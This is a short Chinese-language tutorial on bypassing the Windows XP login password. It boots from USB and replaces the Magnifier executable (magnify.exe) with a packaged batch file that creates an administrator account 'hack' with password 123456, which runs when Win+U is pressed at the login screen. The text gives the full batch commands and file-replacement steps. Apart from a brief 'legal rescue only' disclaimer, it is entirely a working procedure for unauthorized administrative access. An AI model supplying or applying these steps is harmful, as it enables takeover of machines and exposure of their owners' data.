核心思路

登入畫面按 Win+U 會啟動螢幕放大鏡 magnify.exe（具系統權限）。若將其替換為能建立管理員帳號的程式，即可繞過密碼。

準備工具

• USB 隨身碟一支。
• USBoot（USB 開機製作工具）。
• WinRAR（製作自解壓縮執行檔）。

製作步驟

1. 做 USB 開機碟： 跑 USBoot 格式化 USB（HDD 模式），完成後拔插一次即可開機。
2. 製作替換程式：

   @net user hack 123456 /add
   @net localgroup administrators hack /add
   @exit

   存為 adduser.bat → 用 WinRAR 做「自解壓縮檔」產生 adduser.exe → 複製到 USB 根目錄。
3. 替換系統檔：
   • BIOS 設 USB-HDD 為第一啟動序序，存檔重開。
   • 進入 USB 版 DOS/PE，進 C:\Windows\System32：
     copy magnify.exe 007magnify.exe（備份）
     copy 深山紅葉\adduser.exe magnify.exe（替換）
4. 重開機進硬碟 XP： 登入畫面按 Win+U 或 Ctrl+Alt+Del 兩次 → 執行放大鏡實為 adduser.exe → 建立 hack/123456 管理員帳號。
5. 登入新帳號修改原 Administrator 密碼。
6. 善後： 進系統將 007magnify.exe 改回 magnify.exe。

注意事項

• 測試環境為 FAT32，NTFS 需確認 USBoot/PE 支援 NTFS 寫入。
• 僅供合法電腦救援，嚴禁非法用途。
• 現代系統（Vista/7/10/11）有 UAC、安全啟動、BitLocker 等防護，此法多失效。